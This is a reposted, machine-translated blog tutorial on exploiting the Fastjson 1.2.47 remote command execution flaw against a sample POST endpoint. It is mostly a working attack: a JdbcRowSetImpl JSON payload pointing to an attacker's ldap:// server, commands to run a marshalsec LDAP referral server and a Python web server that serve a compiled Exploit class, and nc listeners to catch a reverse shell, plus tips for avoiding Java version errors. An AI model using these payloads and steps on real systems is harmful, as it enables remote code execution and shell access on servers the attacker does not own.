【回転】fastjson-1.2.47-RCE

3128 ワード

Fastjson<=1.2.47リモートコマンド実行脆弱性利用ツールおよびメソッド、およびピットポイントの回避
以下の操作はいずれもUbuntu 18で親測定可能であり、openjdkは8に切り替え、8のjavacを使用する必要がある.
> java -version
openjdk versin "1.8.0_222"

> javac -version
javac 1.8.0_222

0 x 00脆弱性があると仮定する機能

POST /note/submit/

param={'id':29384,'content':'Hello','type':'string'}

0 x 01テスト外部接続


1台のサーバでトラフィックを監視する準備
nc -lvvp 7777

Payloadを送信し、IPをリスニングサーバIPに変更
POST /note/submit/

param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:7777/Exploit","autoCommit":true}}}

リスナー・サーバにトラフィックがある場合は、次の手順に進みます.

0 x 02 LDAPサービスとWebサービスの準備


marshalsec-0.0.3-SNAPSHOT-all.JArファイルとExploit.JAvaは同じディレクトリの下に置かれています
現在のディレクトリの下でLDAPサービスを実行し、IPを現在のサーバーのIPに変更する
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit

現在のディレクトリの下でWebサービスを実行
python3 -m http.server 80   python -m SimpleHTTPServer 80

0 x 03 Exploitを変更してclassファイルにコンパイル


変更JAvaのリバウンドIPとポート(リバウンドSHELLを受信するサーバIPとリスニングポートの準備)
Javacを使用してExploitをコンパイルします.JAva,Exploitを生成する.classファイル(注意:javacはターゲットサーバに近いほうがいいです.そうしないと、ターゲットサーバがclassファイルを解析できなくなり、エラーが発生します)
javac Exploit.java

0 x 03準備


振り返ると、ディレクトリには3つのファイルがあるはずです.
marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.java
Exploit.class

サーバはLDAPとWebを開いています
LDAP Server:Listening on 0.0.0.0:1389
Web  Server:Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

ncはリバウンドしたSHELLを受信する準備をしています
nc -lvvp 7777

0 x 04実行


IPをLDAPとWebサービスを実行しているサーバIPに変更
POST /note/submit

param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}

次にエラーがなければLDAPはリクエストRedirectをWebサービスに、FastjsonはExploitをダウンロードします.class、解析実行
あなたのLDAPサービスもWebサービスもリクエストレコードを受け取り、問題がなければncもリバウンドしたSHELLを受け取ります.

0 x 05問題


Javacバージョンとターゲットサーバの差が多すぎると、このようなエラーが報告されるため、1.8のjavacを使用してExploitをコンパイルする必要があります.java
Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0

LDAPを実行するサーバjavaバージョンが高すぎるとLDAPサービスを実行できなくなり、Listeningと表示されますが、FastjsonのJNDIがエラーを報告し、リソースが取得できないと表示されるのでjava 1.8(openjdk 8)を使用してLDAPサービスを実行します
 
ソースおよびツール:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
転載先:https://www.cnblogs.com/sevck/p/11428010.html